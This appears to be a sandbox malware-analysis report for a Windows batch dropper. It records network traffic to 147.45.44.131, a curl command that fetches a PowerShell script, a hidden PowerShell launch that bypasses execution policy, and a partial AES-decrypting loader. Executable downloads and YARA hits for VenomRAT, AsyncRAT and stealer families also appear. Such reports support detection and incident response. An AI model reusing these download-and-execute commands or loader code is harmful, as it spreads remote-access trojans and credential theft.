Jan 1, 2025 08:56:26.718009949 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:26.722830057 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:28.738322020 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:28.743257999 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:28.743376970 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:28.748167992 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:29.036681890 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:29.148858070 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:29.168503046 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:29.170402050 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:29.176145077 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:29.176227093 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:29.182348967 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:38.789840937 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:38.794756889 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:38.795382023 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:38.800192118 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:39.083484888 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:39.148870945 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:39.213740110 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:39.216006994 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:39.220761061 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:39.220818996 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:39.225614071 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:51.383781910 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:51.388921022 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:51.389029026 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:51.393824100 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:51.676755905 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:51.727056026 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:51.808473110 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:51.810141087 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:51.814971924 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:56:51.815047026 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:56:51.819845915 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:57:06.008620024 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:57:06.013509989 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:57:06.013587952 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:57:06.018418074 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:57:06.303075075 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:57:06.434550047 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:57:06.434725046 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:57:06.435184956 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:57:06.439937115 CET	4449	49702	157.20.182.177	192.168.2.6
Jan 1, 2025 08:57:06.440004110 CET	49702	4449	192.168.2.6	157.20.182.177
Jan 1, 2025 08:57:06.444825888 CET	4449	49702	157.20.182.177	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 08:53:40.499294996 CET	53	63744	162.159.36.2	192.168.2.6
Jan 1, 2025 08:53:40.973529100 CET	53	52549	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	147.45.44.131	80	2720	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 08:52:56.075370073 CET	196	OUT	GET /infopage/vfrcxq.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Jan 1, 2025 08:52:56.700095892 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 07:52:56 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 28 Dec 2024 19:53:14 GMT ETag: "638-62a59ee0cb610" Accept-Ranges: bytes Content-Length: 1592 Data Raw: 0d 0a 24 48 64 59 49 20 3d 20 27 69 30 62 35 56 50 58 5a 69 74 64 37 69 36 76 55 69 38 75 2b 73 38 58 4c 6c 48 50 36 58 55 71 38 43 4a 43 65 52 78 74 76 67 30 63 3d 27 0d 0a 24 7a 56 63 54 20 3d 20 27 31 43 6f 6a 6f 74 6a 52 35 41 7a 68 32 47 71 73 61 68 74 56 36 77 3d 3d 27 0d 0a 24 69 6b 4a 4c 20 3d 20 27 6e 4c 59 53 77 4a 39 67 30 32 32 32 5a 6b 48 4c 32 4a 6b 56 52 6a 59 65 32 79 30 6d 39 43 41 63 36 6f 37 58 36 6e 45 49 2b 77 37 74 34 35 33 61 44 49 56 4c 7a 5a 42 7a 34 6e 64 74 6a 32 49 64 64 6f 77 49 30 6b 49 4d 4b 64 45 6c 76 75 35 33 4b 79 66 71 32 63 72 2f 59 6e 31 73 72 2b 6d 6f 31 63 73 6c 41 37 4b 52 65 2b 42 78 4d 52 67 55 62 71 68 30 4c 4d 31 2f 48 54 77 78 59 54 68 59 49 58 38 47 58 4d 55 4d 30 53 70 79 4a 62 79 6f 42 64 76 6d 5a 6d 74 56 58 6d 67 78 41 65 70 79 56 7a 4b 51 42 57 57 43 6f 76 47 44 74 58 4b 42 73 47 68 6e 71 4c 32 55 77 50 53 48 65 45 68 50 4a 48 68 52 58 6e 2b 54 37 64 66 48 54 4a 35 32 77 72 56 53 62 64 61 57 44 31 6b 48 78 39 6e 30 59 67 68 59 31 41 67 46 4c 4c 6a [TRUNCATED] Data Ascii: $HdYI = 'i0b5VPXZitd7i6vUi8u+s8XLlHP6XUq8CJCeRxtvg0c='$zVcT = '1CojotjR5Azh2GqsahtV6w=='$ikJL = 'nLYSwJ9g0222ZkHL2JkVRjYe2y0m9CAc6o7X6nEI+w7t453aDIVLzZBz4ndtj2IddowI0kIMKdElvu53Kyfq2cr/Yn1sr+mo1cslA7KRe+BxMRgUbqh0LM1/HTwxYThYIX8GXMUM0SpyJbyoBdvmZmtVXmgxAepyVzKQBWWCovGDtXKBsGhnqL2UwPSHeEhPJHhRXn+T7dfHTJ52wrVSbdaWD1kHx9n0YghY1AgFLLjPO8cqRHrXEZnSIKZBSYnCaItRBJ0Dh1Cy/IyzJ3Sg5KMlnuHxBz0BEmMxEp/eQ5wcZMZqG4neGvd9xP1tiAw1jicbjOHecXrlpgyE4a3DcILjExDWpcVSxpk2eA+C7eHdVOD+MrFb/6wVS5OCq56clP20w7QReiVf8ACfqIARHE3rEsQlx+K4caYbjh++Y008QGu8gNyxJmIy/ChPrky9yGAVP0Qo20/A0K70xGaI/0JJ99YC5W9EMcUmxk25KzX88bk5d0SEMeqfRQdd5HDYx2lxl6/6Mq3eo/gfPAAkb4B2xrBCbGbqN79D1a0Xx2LVHltBT6JPVcXodUF7rJ/e5l9cIG1F5rQkGlayrJn68iI3/goA1fsn9uB/eWlDuUue00sCO4ojoq2V13NtKzOS'function lRbI ($FMat, $HdYI, $zVcT) { $QTyI = [Convert]::FromBase64String($HdYI) $506d = [Convert]::FromBase64String($zVcT) $ivrr = [Convert]::FromBase64String($FMat) $1pwX = [System.Security.Cryptography.Aes]::Create() $1pwX.Key = $QTyI [TRUNCATED]
Jan 1, 2025 08:52:56.700115919 CET	561	IN	Data Raw: 64 0d 0a 20 20 20 20 24 31 70 77 58 2e 50 61 64 64 69 6e 67 20 3d 20 5b 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 61 64 64 69 6e 67 4d 6f 64 65 5d 3a 3a 50 4b 43 53 37 0d 0a 20 20 20 20 24 73 71 79 Data Ascii: d $1pwX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $sqyY = $1pwX.CreateDecryptor($1pwX.Key, $1pwX.IV) $34Tn = New-Object System.IO.MemoryStream(, $ivrr) $QRpS = New-Object System.Security.Cryptography.Crypt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	147.45.44.131	80	7112	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 08:52:59.490973949 CET	181	OUT	GET /infopage/vfdjo.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Jan 1, 2025 08:53:00.112409115 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 07:53:00 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 28 Dec 2024 19:39:12 GMT ETag: "8e00-62a59bbda5efb" Accept-Ranges: bytes Content-Length: 36352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7b 38 bc c7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL{8"0 @ `O H.text `.rsrc@@.reloc@BHD"h0ss(oooooi(oiiYii(oio ,o,o,o(t0(((o(*0rpss o!rsp~(o"&o!rs
Jan 1, 2025 08:53:00.112428904 CET	224	IN	Data Raw: 70 7e 01 00 00 04 28 02 00 00 06 6f 22 00 00 0a 26 07 17 6f 23 00 00 0a 07 17 8d 22 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 24 00 00 0a 6f 25 00 00 0a 72 3a 74 00 70 7e 01 00 00 04 28 02 00 00 06 6f 26 00 00 0a 72 94 74 00 70 7e 01 Data Ascii: p~(o"&o#"%~(o$o%r:tp~(o&rtp~(o'o(&((((j(rtp(oBSJBv4.0.30319l#~,P#Strings
Jan 1, 2025 08:53:00.112437010 CET	1236	IN	Data Raw: 00 00 7c 09 00 00 28 75 00 00 23 55 53 00 a4 7e 00 00 10 00 00 00 23 47 55 49 44 00 00 00 b4 7e 00 00 b4 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 15 02 00 09 00 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 28 00 00 00 05 00 00 00 Data Ascii: \|(u#US~#GUID~#BlobW3((d:A:Z0444(444G4{4b{
Jan 1, 2025 08:53:00.112534046 CET	1236	IN	Data Raw: 00 4d 65 74 68 6f 64 42 61 73 65 00 44 69 73 70 6f 73 65 00 47 75 69 64 41 74 74 72 69 62 75 74 65 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 43 6f 6d 56 69 73 69 62 6c 65 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 Data Ascii: MethodBaseDisposeGuidAttributeDebuggableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompi
Jan 1, 2025 08:53:00.112545013 CET	1236	IN	Data Raw: 00 72 00 30 00 62 00 35 00 35 00 35 00 39 00 6d 00 6b 00 4f 00 65 00 31 00 57 00 30 00 73 00 45 00 34 00 2b 00 49 00 70 00 6f 00 42 00 53 00 30 00 4d 00 76 00 4b 00 75 00 31 00 65 00 67 00 53 00 4f 00 5a 00 62 00 4d 00 63 00 68 00 31 00 57 00 72 Data Ascii: r0b5559mkOe1W0sE4+IpoBS0MvKu1egSOZbMch1WruvilZ0J+2G0YROJgLeSWOjgiEPmbe8MrZkewEYtD3lsGpG0rZhXWXWyRlu8mG5KMip7K7S8JQTIEhdHL
Jan 1, 2025 08:53:00.112550974 CET	1236	IN	Data Raw: 00 51 00 56 00 45 00 39 00 43 00 6f 00 5a 00 76 00 79 00 45 00 75 00 51 00 68 00 37 00 57 00 5a 00 4e 00 68 00 69 00 4e 00 39 00 64 00 48 00 53 00 42 00 5a 00 74 00 67 00 64 00 6b 00 59 00 65 00 47 00 35 00 4e 00 72 00 78 00 49 00 4e 00 38 00 2b Data Ascii: QVE9CoZvyEuQh7WZNhiN9dHSBZtgdkYeG5NrxIN8+1tNCvnUG8tsIp0b2558g3NXvb/ka5gyTDx+HgKUf8gpUS12m2XiG3H53hibzWXAGgxTzHpj92uf5VS7M
Jan 1, 2025 08:53:00.112560034 CET	1236	IN	Data Raw: 00 38 00 58 00 64 00 4d 00 2b 00 47 00 75 00 30 00 48 00 6b 00 38 00 6e 00 45 00 6b 00 6a 00 4c 00 53 00 5a 00 63 00 2b 00 74 00 72 00 30 00 74 00 78 00 41 00 47 00 57 00 56 00 6e 00 63 00 49 00 62 00 4c 00 67 00 54 00 74 00 4f 00 77 00 64 00 54 Data Ascii: 8XdM+Gu0Hk8nEkjLSZc+tr0txAGWVncIbLgTtOwdTL0ENFlXJFfeVViAnkl/8ixoEKEzDBIrb+2yaWVZ0636UuJFnbws1NX/1LM0PpO+lLPQZvlkx1XVug7zm
Jan 1, 2025 08:53:00.112632990 CET	520	IN	Data Raw: 00 53 00 68 00 75 00 6b 00 70 00 6a 00 43 00 31 00 6b 00 54 00 32 00 6b 00 7a 00 67 00 51 00 78 00 79 00 78 00 79 00 62 00 48 00 4e 00 79 00 31 00 6e 00 66 00 44 00 71 00 70 00 31 00 62 00 72 00 78 00 2f 00 73 00 76 00 48 00 67 00 49 00 4b 00 36 Data Ascii: ShukpjC1kT2kzgQxyxybHNy1nfDqp1brx/svHgIK6vvyUEXyTEHFAFX2SaCobwWhK5oT4Ush+fzMiiVHh8Wb+HSYfYGum9RfBk96uz5L26O3v9bRALiX8ouk+
Jan 1, 2025 08:53:00.112644911 CET	1236	IN	Data Raw: 00 33 00 71 00 36 00 42 00 6e 00 4d 00 36 00 4a 00 41 00 4d 00 63 00 5a 00 56 00 70 00 4a 00 31 00 4f 00 71 00 6a 00 48 00 2b 00 61 00 56 00 36 00 77 00 30 00 4a 00 35 00 4e 00 69 00 33 00 72 00 71 00 4c 00 5a 00 4e 00 73 00 44 00 79 00 4a 00 4f Data Ascii: 3q6BnM6JAMcZVpJ1OqjH+aV6w0J5Ni3rqLZNsDyJO3E7JjnlqYdNok294My1aocc5Y0GBGEpdfNDWmLJe4r88zW+po6tIu7hdGUPkALmvwl2VqNqxj4s0+BPH
Jan 1, 2025 08:53:00.112683058 CET	1236	IN	Data Raw: 00 42 00 56 00 64 00 46 00 4d 00 66 00 38 00 47 00 63 00 34 00 76 00 44 00 6c 00 6d 00 58 00 37 00 43 00 64 00 6e 00 56 00 6c 00 2b 00 4d 00 6f 00 6a 00 64 00 62 00 33 00 6a 00 61 00 53 00 4a 00 34 00 31 00 32 00 72 00 4d 00 59 00 47 00 47 00 63 Data Ascii: BVdFMf8Gc4vDlmX7CdnVl+Mojdb3jaSJ412rMYGGc7bFdYIhe2PDUklhTXHyU4Y8fgHAzViUPnYGN5lWOec0gqf27qQGVZgcnMUVFi/040anqgw1N33w83v8K
Jan 1, 2025 08:53:00.117355108 CET	1236	IN	Data Raw: 00 45 00 49 00 6d 00 43 00 4d 00 68 00 45 00 61 00 56 00 42 00 30 00 47 00 68 00 54 00 5a 00 4a 00 6a 00 45 00 4d 00 55 00 79 00 4b 00 37 00 75 00 72 00 49 00 41 00 75 00 35 00 57 00 69 00 69 00 6e 00 64 00 52 00 4a 00 31 00 53 00 37 00 70 00 66 Data Ascii: EImCMhEaVB0GhTZJjEMUyK7urIAu5WiindRJ1S7pfpazvN7QLt2dIiCkaaVR+xTPzZwpjKLu6OncqJGHGWSKQ13q7OT+J1L2mVkjOh8Q12isaj/O0LHnIJrtu
Jan 1, 2025 08:53:00.706624985 CET	157	OUT	GET /infopage/yijth.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 1, 2025 08:53:00.884116888 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 07:53:00 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 28 Dec 2024 19:34:32 GMT ETag: "2fdc00-62a59ab2b1730" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 be e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 e8 2f 00 4b 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@p/K0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HXG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Target ID:	0
Start time:	02:52:54
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" "
Imagebase:	0x7ff775cc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:52:54
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:52:54
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Imagebase:	0x7ff775cc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:52:54
Start date:	01/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:52:54
Start date:	01/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Imagebase:	0x7ff7bc190000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:52:59
Start date:	01/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline"
Imagebase:	0x7ff758280000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:52:59
Start date:	01/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC68.tmp" "c:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP"
Imagebase:	0x7ff7eb9e0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:53:02
Start date:	01/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x440000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:53:02
Start date:	01/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:53:02
Start date:	01/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x470000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:53:02
Start date:	01/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
